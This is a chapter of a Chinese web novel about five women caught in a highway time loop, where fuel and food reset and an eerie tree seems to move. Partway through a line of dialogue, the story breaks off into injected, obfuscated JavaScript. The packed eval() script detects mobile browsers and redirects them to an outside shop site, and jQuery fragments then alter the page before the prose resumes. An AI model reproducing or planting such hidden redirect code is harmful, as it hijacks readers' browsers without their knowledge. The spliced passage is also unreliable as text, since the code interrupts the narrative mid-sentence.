李欣第三次核对仪表盘的时候，里程数是191127。
和昨天晚上一样，是她第一次写进笔记本里的数字。
她合上本子，没说话。
苗苗在后座问了一句：“我们今天还走吗？”
没有人回答。
她们顺着昨天开过的方向又跑了一圈，吃掉的食物还原，油恢复到半格。
孙芬芬先询问大家的身体状况，确定所有人都安好。
“我们能进来，就能出去。”周静率先开口安抚众人。
苗苗没有点头，也没有摇头。她一直在揉自己的手背，那块皮肤有些发红。
李欣检查车辆，十分冷静：“油还有大半箱，够我们试很多次。我们现在来回忆回忆，昨天发生了什么。”
苗苗心中不安：“我们老板要骂死我了，昨天发信息她都没回。我怕回去工作也要丢了。”
“丢就丢了，你那整日折磨人的老板，不要也罢。”孙芬芬说道。
马晓禾打开手机，按住了语音键。
她录了三秒，松手，听了一遍，删掉了，又按住，这次说了五秒："老公，我们在路上出了点事……"
松手，又删了。
第三次，她按住键，沉默了两秒，只说了一句：
"老公，我晚回去两天，照顾好孩子。"
发出去了。
众人昨天下午吃完烧烤便计划返程，加满油后驶入高速。中午车里温暖，除了司机周静，其余人都睡觉了。
“车子行驶很平稳，一路并无异常。”周静手指在方向盘上敲了两下。
马晓禾看着手机，手机一直没有消息进来。
“不回家担心老公发飙啊？”孙芬芬问道。
马晓禾摇了摇头：“往常他早就回信息了，从昨晚到今天，竟连一个消息也没有。”
这话像是提醒了所有人，苗苗也连忙看手机：“我老板也没有骂过来。”
“打我的看看。”李欣提醒。
周静拨通了李欣的电话，李欣电话铃响起，接通后，通话没有任何问题。马晓禾又拿起手机给李欣发信息，李欣举起手机给马晓禾看，信息也看得到。
李欣先打公司座机，响了六声，接通了。之后，那头只有电流声，沙沙的，像收音机收不到信号。她喂了三声，挂断。
周静打给助理，没通。又打语音电话，通了，但没人接。她盯着屏幕看了十几秒，直到自动挂断。
马晓禾拨了丈夫的号码。响了很久，没人接。她挂断，又拨了一遍。这一次她把手机贴在耳边，一直听到最后一声提示音结束，才慢慢放下来。
孙芬芬打了两通电话。第一通占线，她骂了一句"什么破医院"。第二通响了一声就被挂断。
苗苗没有，一直低头打字，手指划来划去。
“我们不仅到了一个循环环境，与外界也失去了联系。”李欣无奈地说出大家都明白的事实。
周静转而说道：“幸好我们之间可以联络。”
“不配是优秀的外企高管，很会鼓舞士气。”孙芬芬接着打趣。
“别开玩笑，想办法出去。”李欣立刻行动。
"至少我们有车，有油，还有一整箱水。"孙芬芬将后备箱所有的物资收拢。
“还有生活必需品。”马晓禾整理纸巾等卫生用品。
李欣和周静站在路边，相视一眼。李欣转身跨出高速围栏，踩着护坡往下挪。接近坡底那道绿色隔离网的时候，她伸手去碰，手指还没触到网面，先碰到了一层东西，凉凉且平滑的触感。她用指腹按了一下，按不下去。
她退了一步，抬脚踹上去。力道像被吞了，脚底没有撞到硬物的感觉，但有什么东西挡在那里，没有让开。
身后高速上有人在喊她的名字，听不清是谁，可能是芬芬，她没回头。
她弯下腰，用手指轻轻点了一下刚才踹的位置。这一次，那层东西硬得像石头。
她站起来，看着面前什么都没有。
李欣回望高速上的其余四人：“出不去。”
五人又翻越高速中间护栏，走到对面的高速下，有同样的屏障。
李欣召集众人，掏出笔记本。
孙芬芬睨视一眼，调笑说：“理工科高材生就是不一样，时刻带着笔记。”
李欣白了她一眼，指着笔记本上的数字：“我们现在能确定的是，每次开出去都会回到这块路牌。车速100的话，半小时大概四十多公里，导航显示45公里，没错。”
孙芬芬凑过来看了一眼："那你画这么多圈圈是干嘛的？"
"验证猜测。"李欣说，"跑完一圈才知道对不对。"
苗苗缩在后座，声音发紧：“我们不会是死了吧？现在有的只是魂魄？”
“有可能。”李欣说。
周静嘴角漏出笑意：“我是坚定的无神论。”
她伸出手，拧了苗苗一下：“怎么样？疼吗？”
苗苗傻傻地点了点头，拧过的地方红红的。
“肉身，放心。”孙芬芬拍了拍苗苗。
几人分开向四个方向查找出口，直到傍晚，都无功而返，却十分疲惫。
没有了白天的阳光，夜里变得异常冰冷。白天融化的积雪，夜间都变成了霜冻，不知何时，天空又飘起了雪。
“好冷，将车子启动吧！”孙芬芬提议。
周静打开按钮，困的眼睛睁不开，低声叮嘱：“记得关上，不然一夜油耗完就启动不了了。”
没有人回复，空调口吹出的暖气把车厢里的冰冷一点一点挤出去。其余人已经调整了座椅靠背，开始在窄小的空间里找睡姿。
李欣却没有睡，盯着里程表上那个固执的数字，心里某个角落一直在想：如果重置了，那"重置"是从什么时候开始算的？是我们醒来那一刻吗？还是我们开动的那一秒？
第二天早上，她们准备发动车子时，邮箱指针死死定在0上。
“早上谁关的开关？”周静惊呼，一向稳定的情绪再也安稳不了。
“我醒来才关的。”马晓禾低声说，“那时你们都在睡，我就直接关闭了。”
马晓禾低着头，手指绞在一起。
周静看了她一眼，说：“你只是关晚了，并不是做错了。”
“我去。”李欣大叫，“昨晚谁要开空调的？”
“你也没反对呢！”孙芬芬回嘴，“不开空调难道冻死吗？”
“那你也不知道关！”李欣立刻怼。
“副驾一直是你的位置，你睡过头了，现在来怨谁？”孙芬芬也不饶。
车外忽然卷起一阵疾风，树梢随之动了动，她们却没有人察觉。
“不要吵了。”马晓禾连忙从中劝架，“不是可以重置吗？”
众人停止争吵，都看着油表。
三分钟……油表没有动。
马晓禾弯腰看了一眼后备箱的面包袋，又直起身，摇了摇头。
“再等一会儿。”孙芬芬说。
又过了五分钟，油表的指针还是躺在原来的位置，像钉死了。
“可以了。”李欣说，“它不回来了。”
苗苗依偎到马晓禾身边：“重置失效了，我们不会饿死在这里吧？”
“冷静。”周静看向李欣，“最尊重的工程师同学，我们中间只有您懂机械和力学，这时只有你能带领我们走出困境。”
李欣斜了周静一眼：“我去，不配是优秀的管理者，这套正向PUA，手拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960286|214330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把掐。”
孙芬芬跟着笑了半声，马晓禾没有笑，苗苗也没有笑。
气氛松了一点，但没有完全松。外面的风慢慢地停了，树梢似乎也不再晃动。
“显然等待不会重置，现在我们需要找出重置的开关。”李欣说，所有人都看向她。
李欣在笔记本上画出方案：她和马晓禾往左，孙芬芬和周静往右，每人拿一个空饼干袋做标记。
苗苗没有拿袋子，说了句"我坐一会儿"，就靠在车后座闭上了眼睛。
李欣和马晓禾走了五公里，袋子还是空的，有些沮丧。李欣想给苗苗打个电话问她在哪，拨出去，响了四声，没人接。她挂了。
"她可能睡了吧。"马晓禾说。
李欣把手机塞回口袋。这时，她的手机响了，视频是孙芬芬打来的。
“欣欣，我们口袋里的饼干生出来半块。”孙芬芬举起袋子。
周静接过视频，对李欣说：“事情已经明了，只有动起来才能重置。”
“且不能逆行。”李欣接着补充。
她看了一眼孙芬芬和周静走过的路，是朝着服务区的方向。而自己和马晓禾走的是相反方向。
“所以我和小禾走了五公里，饼干还是空的。你们走了五公里，生了半块。”
她没有再说下去，周静点了点头。
李欣和马晓禾回到车上，车厢里一片冷寂。
李欣把两组结果记进笔记本，末尾画了一个问号：被消耗过的物品，重置会恢复初始状态。那完整的物品拿出来，能不能躲开重置？
等了一会儿，苗苗还没有回来，一种不祥的预感浮上心头。李欣立刻打通周静的电话，周静说没见到人。
她和马晓禾将车内的空瓶子和食物背上，沿着周静和孙芬芬的方向寻找。
李欣边走边喊苗苗的名字，声音在空旷的高速上被风吹散。
走到那棵歪脖子树附近时，她停了一下。
她记得这棵树昨天离护栏大概有两三米，现在枝丫几乎要碰到栏杆了。
树下的雪地有一道长长的拖痕，像是有什么东西被拖进了树根底下，她没来得及细看。
苗苗就躺在树根旁边，蜷着身子，一动不动。
“苗苗？”李欣拍打着苗苗的脸，没反应。
孙芬芬稍后赶到，听苗苗的心跳正常，连忙给她喂了仅剩半瓶的可乐，苗苗才慢慢苏醒。
“你需要将你的基础疾病告诉我。”孙芬芬一改往日嬉皮笑脸，严肃地问道。
苗苗推了推眼镜：“我有二级糖尿病，如果不尽快出去，我迟早死在这里。”
众人不敢相信，眼前这个纤细的女孩会得糖尿病。
“什么时候的事，怎么都没听你提过？”周静小声问。
“我怕……”苗苗吞吞吐吐。
她没有说下去，可她两只手搅在一起，低垂着头。马晓禾楼主她的肩摩挲了两下。
苗苗指了指她们身后的树：“这树有问题。”
众人回头。
“它不断长大，会动。”
“这不是坏消息，或许出去就靠它了。”周静说。
李欣静静地盯着树，并不乐观。但她知道周静的逻辑大概是，唯一在变的东西，可能就是唯一的出口。
苗苗走在最前面，脚步比昨天快了。她绕开了那棵树，不是偏了半步，是绕开了树投下的整个树荫。
她问：“苗苗，你刚才为什么绕开那棵树？”
苗苗没有回答，缩在后座，把拉链拉到顶，遮住了半张脸。
但李欣看见她的手在抖。
她回头看了一眼那棵树。树没动，可树的树冠比昨天更低了些，像一个人屏住呼吸，静静地注视着她们。